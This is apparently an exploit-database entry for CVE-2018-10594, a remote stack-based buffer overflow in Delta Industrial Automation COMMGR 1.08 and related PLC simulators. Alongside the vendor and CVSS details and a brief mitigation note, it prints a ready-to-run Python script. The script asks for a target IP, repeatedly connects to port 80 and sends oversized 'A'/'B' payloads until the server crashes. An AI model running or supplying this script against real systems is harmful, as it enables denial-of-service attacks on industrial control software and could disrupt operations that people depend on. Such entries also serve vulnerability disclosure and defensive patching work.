header-logo
Suggest Exploit
vendor:
Delta Industrial Automation COMMGR
by:
t4rkd3vilz
9.8
CVSS
CRITICAL
Buffer Overflow
119
CWE
Product Name: Delta Industrial Automation COMMGR
Affected Version From: COMMGR Version 1.08 and prior
Affected Version To: COMMGR Version 1.08 and prior
Patch Exists: Yes
Related CWE: CVE-2018-10594
CPE: a:delta_electronics:delta_industrial_automation_commgr
Metasploit: N/A
Platforms Tested: Kali Linux
2018

Delta Electronics Delta Industrial Automation COMMGR – Remote STACK-BASED BUFFER OVERFLOW

A remote stack-based buffer overflow vulnerability exists in COMMGR Version 1.08 and prior, DVPSimulator EH2, EH3, ES2, SE, SS2, AHSIM_5x0, AHSIM_5x1. An attacker can send a specially crafted packet to the vulnerable server to cause a denial of service condition.

Mitigation:

Update to the latest version of COMMGR, DVPSimulator EH2, EH3, ES2, SE, SS2, AHSIM_5x0, AHSIM_5x1.
Source

Exploit-DB raw data:

# Exploit Title: Delta Electronics Delta Industrial Automation COMMGR
- Remote STACK-BASED BUFFER OVERFLOW
# Date: 02.07.2018
# Exploit Author: t4rkd3vilz
# Vendor Homepage: http://www.deltaww.com/
# Software Link: http://www.deltaww.com/Products/PluginWebUserControl/downloadCenterCounter.aspx?DID=2093&DocPath=1&hl=en-US
# Version:
COMMGR Version 1.08 and prior.
   DVPSimulator EH2, EH3, ES2, SE, SS2
   AHSIM_5x0, AHSIM_5x1
# Tested on: Kali Linux
# CVE : CVE-2018-10594


#Run exploit, result DOS

import socket


ip = raw_input("[+] IP to attack: ")

sarr = []
i = 0
while True:
    try:
        sarr.append(socket.create_connection((ip,80)))
        print "[+] Connection %d" % i
        crash1 = "\x41"*4412 +"\X42"*1000
        sarr[i].send(crash1+'\r\n')
        i+=1
    except socket.error:
        print "[*] Server crashed "
        raw_input()
        break